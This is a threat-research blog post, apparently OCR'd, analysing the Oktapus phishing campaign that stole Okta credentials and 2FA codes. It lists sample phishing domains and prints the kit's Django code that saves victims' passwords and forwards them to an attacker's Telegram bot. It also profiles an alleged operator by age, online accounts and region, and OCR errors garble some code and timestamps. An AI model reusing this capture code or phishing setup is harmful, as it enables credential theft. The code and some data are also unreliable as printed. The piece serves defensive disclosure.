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Multi-factor authentication (MFA) is often implemented as a form of enterprise identity
security to protect organizations against credential theft , dictionary attacks, and brute force
techniques. But what if MFA is intercepted by a fraudster? In the cyber arena, where there is
a continuous arms race with offensive and defensive strategies trying to outcompete each
other, techniques that overcome MFA have existed for some time. In this blog, we share the
techniques that utilize surprisingly simple tools that were used to overcome enterprise
identity access management (IAM) and conduct supply chain attacks.

Introduction

For many years, cybercriminals have used social engineering and phishing attacks to trick
unsuspected victims into providing their credentials. These credentials have been used to
provide cybercriminals with access to a wide range of company resources for a number of
well-documented purposes. To remain ahead of threat actors, and in its mission to fight all
types of cybercrime, Group-IB helps organizations protect their digital assets and identify the
miscreants targeting them by investigating phishing attacks.
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https://www.group-ib.com/resources/threat-research/2021-reports.html#report-5

On July 26, 2022, Group-IB intelligence analysts received a request from a client of our
Threat Intelligence solution asking for additional information on a recent phishing attack that
they had experienced. The investigation started after the client provided domain names and
IP addresses used in the attack.

Using a combination of Group-IB Threat Intelligence, and in-house and public tools we
were able to obtain a list of domains that had been attacked. Our client was only one of
several well-known organizations that were targeted in a massive phishing campaign
codenamed Oktapus by Group-IB researchers. The initial objective of the attackers was
clear: obtain Okta identity credentials and two-factor authentication (2FA) codes from users
of the targeted organizations. With this information in hand, the attackers could gain
unauthorized access to any enterprise resources the victims have access to.

This case is of interest because despite using low-skill methods it was able to compromise a
large number of well-known organizations. Furthermore, once the attackers compromised an
organization they were quickly able to pivot and launch subsequent supply chain attacks,
indicating that the attack was planned carefully in advance.

Group-IB decided to make its research on Oktapus publicly available when Signal reported
1,900 of their user’s accounts were probably hacked. We hope this blog will provide a better
understanding of what happened and will give useful recommendations on how to prevent
your organization from becoming a victim.

Attack scheme overview

Based on the request from our client, and from public reports made by Twilio and Cloudflare,
the attacks were well designed and executed. The attackers targeted employees of
companies that are customers of IAM leader Okta. These employees received text
messages containing links to phishing sites that mimicked the Okta authentication page of
their organization. Examples of observed phishing SMS messages can be found in the two
public reports mentioned above.
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Phishing sites

In total, the Group-IB Threat Intelligence team detected 169 unique domains involved in the
Oktapus campaign. When analyzing these phishing sites, Group-IB analysts pay attention to
all resources being used. On many occasions, there are images, fonts or scripts that are
unique enough that they can be used to find other sites using the same phishing kit. In this
case, we found an image that is legitimately used by sites leveraging Okta authentication,
being used by the phishing kit.

If we correlate the hash value of this image with the keyword “_nuxt” (which is a folder name
utilized by the frontend of the phishing kit), we can obtain a unique list of related domains.
These domains were all used by the attackers to target organizations in multiple industries,
located mostly in the United States and Canada. Based on the fact that many of these
organizations use Okta’s Identity and Access Management services to secure access to
enterprise resources, we named this campaign Oktapus.

At this time, it became very clear that the threat actors’ immediate intentions were to gain
access to the corporate services of the organizations.
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Figure 1: Web resource found in all of the sites emulating Okta authentication pages involved
in the phishing campaigns

URL Time

http://att-mfa.com/ 2022-08-06T05:53:48.751420+00:00
http://mailgun-okta.com/ 2022-08-05T22:03:44.254414+00:00
http://mailgun-okta.com/ 2022-08-05722:01:37.583186+00:00
http://vzw-corp.net/ 2022-07-17722:08:31.310674+00:00
http://metropcs-edge.net/ 2022-07-17T02:15:53.385037+00:00
http://iqor-tmobile.com/ 2022-07-15T18:36:33.237992+00:00
http:/figor-tmobile.com/ 2022-07-15T07:16:04.706343+00:00

Figure 2: Sample of phishing sites found that emulate Okta authentication pages

Interestingly, the domains being registered for the attacks used keywords like sso, vpn, okta,
mfa, and help. Although, those are commonly used keywords, on occasions other keywords
are used, or no keywords at all. As part of best practices, we also started tracking those
keywords. However, often we only need to discover one domain to find the others.

From the victim’s point of view, the phishing site looks quite convincing as it is very similar to
the authentication page they are used to seeing. Victims are prompted for their username
and password, and once provided a second page is shown asking for their 2FA code. Once
the code has been handed to the phishers, the browser is forced to download a legitimate
copy of the remote administration tool AnyDesk. It is still unknown the true purpose of
pushing AnyDesk.exe to the victim’s asset, especially when the phishing link was sent via
SMS to a mobile phone. Thus we decided the attacker didn’t configure the phishing kit
properly in order to target mobile devices. That may indicate that the attacker is
inexperienced.
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Figure 3: Example of a phishing site emulating the Okta authentication page of a target
organization

The frontend of the phishing sites uses the Nuxt.js framework while the backend uses
Django, running on port 8080.

O A 45.32.66.165

Django administration

Username:
Password:
Login

Figure 4: Django admin interface running on port 8080 that was used in phishing attack that
emulated Okta authentication pages

The phishing site is static, meaning attackers cannot interact with victims in real-time like
more sophisticated phishing kits do. However, to gain access before the 2FA codes expire,
the attackers need to use the compromised data as soon as they get it. Most likely, this
means that attackers were continuously monitoring their tools and using the credentials as
soon as they received them.

Phishing kit analysis
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With an efficient way to find new phishing sites, the next step was to locate a copy of the
phishing kit being used. For this, we used Virustotal. It is well known that even cyber
criminals use the popular antivirus scan service. A search for the hash of the image we were
using to track phishing domains resulted in many false positives and one true positive. It
appears that the miscreants had shared the kit among themselves using the file hosting
service Pomf.cat and one of them scanned the link with Virustotal to make sure there was no

malware in it.

With a copy of the phishing kit in our possession, we were ready to start digging and get a

better understanding of the threat our client was facing.

@ backend
B client

@ __init__.py
B _ pycache__

B db.sqlite3 ™ api
[ manage.py

@ asgi.py
| test B settings.py
@ uploads B urls.py
B wsgi.py

B _init__.py

B _ pycache__
B admin.py

B apps.py

B models.py

B permissions.py

B serializers.py

B views.py

Figure 5: Phishing kit structure, that emulated Okta authentication pages, used by the
attacker in their campaigns

@ backend
@ client @ components
B db.sqlite3 [ jsconfig.json

[ manage.py 8 layouts
B test > nuxt.config.js

B assets B index.vue

B uploads > [ package.json
@ pages

B8 plugins

B schemes

B static

B store

Figure 6: Phishing kit structure, that emulated Okta authentication pages, used by the
attacker in their campaigns

Nowadays, many phishing actors prefer to use kits that deliver the compromised data
obtained from victims to a Telegram channel controlled by them. Therefore, we were not too
surprised to see that this kit was not any different. Hiding at the end of the file containing the
settings for Django, were a few lines dedicated to the configuration of the Telegram bot and
the channel used by the kit to drop compromised data.
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class CaptureCredentials(generics.GenericAPIView):
permission_classes = [permissions.AllowAny]

def post(self, request, *args, *kkwargs):
if not has_required_fields(request, ['user_id', 'password']):
return JsonResponse({'error': 'Bad request'}, status=400)

ip_address, _ = get_client_ip(request)

capture = models.CapturedAuth()
capture.userID = request.datal'user_id']
capture.password = request.datal'password’']
capture.ip_address = ip_address
capture.save()

if settings.TELEGRAM_BOT_ENABLED:
bot = telegram.Bot(token=settings.TELEGRAM_BOT_TOKEN)
bot.sendMessage (chat_id=settings.TELEGRAM_BOT_CHANNEL_ID,
text=f'Received new user credentials!{capture.format_fields_msg()}')

Figure 7: Function to send compromised data to Telegram used by the attackers to send
credentials to themselves from the emulated Okta authentication pages in their phishing

campaigns

Analysis of compromised data

Group-IB utilized patented technologies implemented in Threat Intelligence service to
uncover the information obtained from all Oktapus campaigns launched since March 2022.
The analysis of compromised credentials sheds light on targets and helps us understand the
attacks’ potential impact.
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The analysis shows that most targeted companies are located in the USA. That list also
includes companies that are headquartered in other countries but have US-based employees
that were targeted.




Unfortunately, we didn’t manage to identify all targeted companies, because % of the data
didn’t contain a corporate email, but only usernames and 2FA codes. In those cases, we
could only identify the region of residence of the victims.

Geolocation of users that had their
credentials compromised during
Oktapus phishing campaign

= Us:5,503
s GB:97
B CA:55
B NG:45
= IN: 42
= DE:43
= NL:33
I FR:25
b PH:19
3= NO:18
0 JP:18
P IT.17
I BE:14
I RO:13

Most companies in the victims’ list are providing IT, software development, and cloud
services. As described in Twilio’s blog, the attackers try to obtain credentials in order to
access private data, corporate emails and internal documents.

Seeing financial companies in the compromised list gives us the idea that the attackers were
also trying to steal money. Furthermore, some of the targeted companies provide access to
crypto assets and markets, whereas others develop investment tools.

Based on recent news about hacked Signal accounts, we can assume the fraudsters may try
to get access to private conversations and data. That information can be used as business
intelligence and reselled to the victim's competitors or could be used to ransom a victim.

According to published blogs by Twillio and Cloudflare, victims received SMS with phishing
links. It is still unknown how fraudsters prepared their target list and how they obtained the
phone numbers. But, according to the compromised data we analyzed, the actors started
their attacks targeting mobile operators and telecommunications companies. Chances are,
some phone numbers may have been obtained from those initial attacks.
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https://support.signal.org/hc/en-us/articles/4850133017242

Supply chain attacks

Recent disclosures reveal that the initial compromises were just part of the attack. In many
cases the attacker targeted mailing lists or customer-facing systems in order to launch
supply chain attacks:

o Marketing firm Klaviyo was breached and personal information connected to
cryptocurrency-related accounts, reportedly including names, addresses, emails, and
phone numbers, was stolen. This information could be used in order to steal
cryptocurrency.

o Email platform Mailchimp was breached to gain access to data from crypto-related
companies and disrupt operations. Mailchimp was used by technology firm
DigitalOcean to send confirmation emails, password resets, email-based alerts. By
initiating and redirecting password resets the customers of DigitalOcean could have
been compromised.

o Phone number verification provider Twilio was breached, which allowed the attacker to
attempt to re-register Signal accounts to new mobile devices.

While it is possible that the threat actor may have been lucky in their attacks it is far more
likely that they carefully crafted their attacks in order to launch the sophisticated supply chain
attacks outlined above. It is not yet clear if the attacks were planned end-to-end in advance
or whether opportunistic actions were taken at each stage. Regardless, it is clear that the
attack has been incredibly successful and the full scale of the attack may not be known for
some time.

Subject X

Using Telegram features, it is possible to get some information about the channel used by
the phishing kit to collect compromised data, such as its name and the users administering it.

Figure 8: Telegram channel used as drop for credentials by the attackers in their phishing
campaigns emulating Okta authentication pages
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https://www.bleepingcomputer.com/news/security/email-marketing-firm-hacked-to-steal-crypto-focused-mailing-lists/
https://mailchimp.com/en-gb/august-2022-security-incident/
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https://www.twilio.com/blog/august-2022-social-engineering-attack
https://support.signal.org/hc/en-us/articles/4850133017242-Twilio-Incident-What-Signal-Users-Need-to-Know-




Figure 9: Administrators of the Telegram channel “Okta” used by attackers in their phishing
campaigns that emulated Okta authentication pages

Unfortunately, there was no useful information on the first Telegram account, but luck was on
our side with the second one. For now, we will call the creator of the “Okta” channel, Subject
X, allegedly a 22-year-old software developer.

X

|ast seen recently

22 y.o. software developer

Figure 10: Subject X’s Telegram account

Using Group-IB Threat Intelligence to monitor Telegram channels used by cybercriminals, we
were able to identify a few channels where Subject X was active at some point. One of the
posts made by Subject X in 2019 led us to his Twitter account. The same tool also gave us
the name and last name the administrator of the channel was using, before adopting the
name “X”.
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https://www.group-ib.com/products/threat-intelligence/

01 October 2019

X
VELT PVP OWNER KOS BUSTS A MOVE

Twitter
my boy kyle goes h

dance floor @ htip

kbBS

22yo software developer. inactive ace, | use a new alias now

Figure 12: Subject X’s Twitter account

Looking up the Twitter handle on Google gives back a GitHub account containing the same
username and profile picture. This account also suggests the location of Subject X is North
Carolina, United States.
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Figure 13: Subject X’s GitHub account
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From here, we went down the rabbit hole of Internet clues that led us to the alleged identity
of Subject X.

Recommendations to avoid becoming a victim

Maintaining a secure organization requires ongoing vigilance. Security measures such as
MFA can appear secure but it is clear that attackers can overcome them with relatively
simple tools. Using Group-IB Threat Intelligence helps maintain a strong security posture by
equipping security teams and tools with the latest insight into attackers.

Group-IB recommends the following to mitigate similar attacks:

1. End users should always check, carefully, the URL of the site where you are entering
your credentials. This is especially important for users with privileged accounts.

2. Treat all URLs that were received from unknown sources as suspicious. If in doubt,
forward them to your security team for analysis.

3. Implement a FIDO2-compliant security key from a vendor like YubiKey for multi-factor
authentication, like Cloudflare suggests

4. If you think your credentials might have been compromised, immediately change your
password, sign off from all active sessions, and report the incident to your manager and
security team.

In line with Group-IB's mission of fighting cybercrime, we will continue to explore the
methods, tools, and tactics used by these phishing actors. We will also continue to inform
and warn targeted organizations worldwide. We always strive to ensure that organizations
under attack are notified as quickly as possible to help reduce potential damage. We also
consider it our responsibility to share our findings with the cybersecurity community and
encourage researchers to study advanced threats, share data, and use our technologies to
combat cybercrime — together.

If you are interested in what we do and would like to become an expert in the same field, you
can take our Digital Forensics, Incident Response, and Threat Intelligence training courses.
We also welcome applications to join the Group-IB team. Please check our vacancies on the
website.

Try Group-IB Threat Intelligence now!

Optimize strategic, operational and tactical decision-making with best-in-class cyber threat
analytics

Test Drive Group-IB Threat Intelligence

IOCs
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